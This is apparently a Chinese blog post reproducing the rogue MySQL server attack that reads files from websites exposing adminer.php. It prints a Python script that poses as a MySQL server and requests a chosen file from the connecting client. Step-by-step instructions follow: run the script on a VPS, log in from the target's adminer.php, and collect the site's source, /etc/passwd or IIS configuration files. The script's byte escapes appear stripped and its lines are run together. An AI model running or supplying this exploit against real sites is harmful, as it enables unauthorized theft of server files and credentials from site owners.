这个漏洞我没有找到具体的出处,所以我没有详述此漏洞的前因后果,但是因为有很强的实战性,有必要分享给大家 。
简单一点讲,如果你扫描网站目录,恰巧碰上了adminer.php这个链接,恭喜你,不需要密码,基本你可以搞定此站了 。
利用的工具MySQL.py,代码如下:
#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")conn.recv(9999)logging.info("auth okay")conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()
实战测试:
第一步,在VPS上执行此代码 。
我文章是用我的虚拟机和物理机演示的 。在我的虚拟机kali上执行的:Python mysql.py "要读的目标站点的文件"
![MySQL服务端读取客户端文件漏洞的复现](http://img.jiangsulong.com/220422/14014350L-0.jpg)
文章插图
我KALI虚拟机的IP地址是192.168.1.5
![MySQL服务端读取客户端文件漏洞的复现](http://img.jiangsulong.com/220422/1401435108-1.jpg)
文章插图
保障你的VPS中的用这个mysql.py开的3306端口是可以被外部连上的 。
第二步,打开目标站的adminer.php,输入vps的地址,用户名和密码乱写就可以 。
我是用本机的物理机演示的 。
![MySQL服务端读取客户端文件漏洞的复现](http://img.jiangsulong.com/220422/140143JH-2.jpg)
文章插图
第三步,点击登陆,在你的vps上就得到要读的止标站点文件的源码了 。
![MySQL服务端读取客户端文件漏洞的复现](http://img.jiangsulong.com/220422/140143Ka-3.jpg)
文章插图
【MySQL服务端读取客户端文件漏洞的复现】
在上图中,我读的是物理机中的d:/1.bat,因为1.bat里有中文,所以有乱码 。
另外,有个小技巧,如果不知物理目录的话,你可以在第一步中执行python mysql.py “xxx",有可能暴出物理目录 。当然,你也可以读/etc/passwd,iis下的配置文件来得到目标站的物理目录 。还有,如果复制本文中代码不方便的话,也可以利用https://github.com/allyshka/Rogue-MySql-Server此脚本 。
推荐阅读
- 聊一聊Redis官方置顶推荐的Java客户端Redisson
- 我们为什么选择Vuetify作为前端框架
- 避免服务器root权限连接暴露,成为肉机?建立rsa是必要的
- 一些小众却有用的 Node.js 包
- 前端杂谈:浅聊GMS
- UUID 及其在 MySQL 中的使用
- 喝茶的暗语有哪些,西湖龙井茶的弊端有多少种
- 喝浓茶的弊端,喝浓茶的危害
- 关闭不使用的开放端口以保证电脑安全
- 本地ftp服务器搭建,快速搭建一个本地的ftp服务器